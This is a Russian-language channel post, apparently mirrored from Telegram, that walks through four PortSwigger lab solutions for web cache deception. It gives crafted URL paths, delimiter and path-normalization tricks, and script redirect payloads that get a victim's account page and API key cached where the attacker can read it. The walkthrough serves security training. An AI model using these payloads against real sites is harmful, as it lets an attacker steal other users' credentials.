TGViewer
#Arm1tage #Arm1tage @arm1tage · 1.56K subscribers
Post #680 2.71K
Web cache deception

Слёту надо понять разницу между Cache Poisoning и Cache Deception:
Cache Poisoning: Атакующий делает инъекцию в контент, который затем кэшируется для всех пользователей сервиса.
Cache Deception: Атакующий делает инъекцию в контент, который при посещении жертвой кэшируется на сервисе и к нему может получить доступ только атакующий.

Понятнее: У Серёги есть запрос, который возвращает ему его АПИ ключ. Серёга шаманит и изменяет ссылку на получение АПИ ключа так, чтобы сервер его закэшировал. Серёга даёт эту ссылку Алисе, та открывает и ГГ. Серёга снова открывает ссылку, над которой он шаманил и теперь он видит АПИ ключ Алисы, т.к. сервер закэшировал запрос Алисы.

Для этой лабы рекомендуется использовать сканнер бурпа, ибо он имеет все нужные проверки на этот тип уязвимости.

🤨1. Exploiting path mapping for web cache deception
- Log into your account.
- In Burp Suite check /my-account request.
- Modify the request to look like this:
/my-account/cache.css
- Send the request and observe X-Cache: miss
- Go to exploit server. Create the next payload:
<script>
location="https://portswigger.com/my-account/cache1.css";
</script>

- Send the exploit. Go to repeater and send the request with the same path (/my-account/cache1.css). Observe carlos' API is cached.

🤨2. Exploiting path delimiters for web cache deception
There are two ways to do this lab:
2.1 Use Portswigger's delimiters list:
- Send the /my-account request to Intruder.
- Change the request to match .css file, like this:
/my-account§§cache.css
- Paste the delimiters list into intruder and start an attack.
- Note, that the only request with 200 status code is /my-account;cache.css
2.2 Scan the /my-account request with Burp Suite.
- Burp Suite scanner will discover, that the delimiter is ;

- Go to exploit server. Create the next payload:
<script>
location="https://portswigger.com/my-account;cache1.css";
</script>

- Send the exploit. Go to repeater and send the request with the same path (/my-account;cache1.css). Observe carlos' API is cached.

🤨3. Exploiting origin server normalization for web cache deception
- Check the resources, that are cached by the server (for example everything after /resources/... is cached). You can check if the server caches by X-Cache: miss header.
- Create the next path:
/resources/..%2fmy-account?cache=1234
This will get you 200 OK and server will cache it (because of /resources/...)
- Go to exploit server. Create the next payload:
<script>
location="https://portswigger.com/resources/..%2fmy-account?cache=1234";
</script>

- Send the exploit. Go to repeater and send the request with the same path (/resources/..%2fmy-account?cache=1234). Observe carlos' API is cached.

🤨4. Exploiting cache server normalization for web cache deception
- Check the resources, that are cached by the server (for example everything after /resources/... is cached). You can check if the server caches by X-Cache: miss header.
- We are dealing with cache server instead of origin, so now we need to replace resources and my-account.
- Create the next path:
/my-account%2f%2e%2e%2fresources?cache=1234
- It will give you 404. Now you need to find a delimiter. You can brute it using intruder. The delimiter is #.
- Create the next path:
/my-account#%2f%2e%2e%2fresources?cache=1234
This will get you 200 OK and server will cache it.
- Go to exploit server. Create the next payload (do not forget to url-encode #):
<script>
location="https://portswigger.com/my-account%23%2f%2e%2e%2fresources?cache=1234";
</script>

- Send the exploit. Go to repeater and send the request with the same path (/my-account%23%2f%2e%2e%2fresources?cache=1234). Observe carlos' API is cached.


#portswigger #cache
  • ❤ 4
  • 🦄 1
More from @arm1tage
  1. Feb 19, 2025Интеграция ИИ в Nuclei В последнем обновлении для нуклей (3.3.9) был добавлен флаг -ai, ко…
  2. Feb 13, 2025Интеграция ИИ в расширения бурпа Сегодня вышел новый блог от портсвиггер, где они рассказы…
  3. Feb 3, 2025Спреим учетки под O365 В ходе Red Team-кампании учетные записи сотрудников играют ключевую…
  4. Dec 31, 2024С новым годом, господа. Любви, смекалки, стальных нервов и задач, которых стоили того, что…
  5. Aug 13, 2024Кто угадаёт о чем будет сейчас пост? Подсказка: это не сложно.
  6. Aug 13, 2024Так, я тут
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →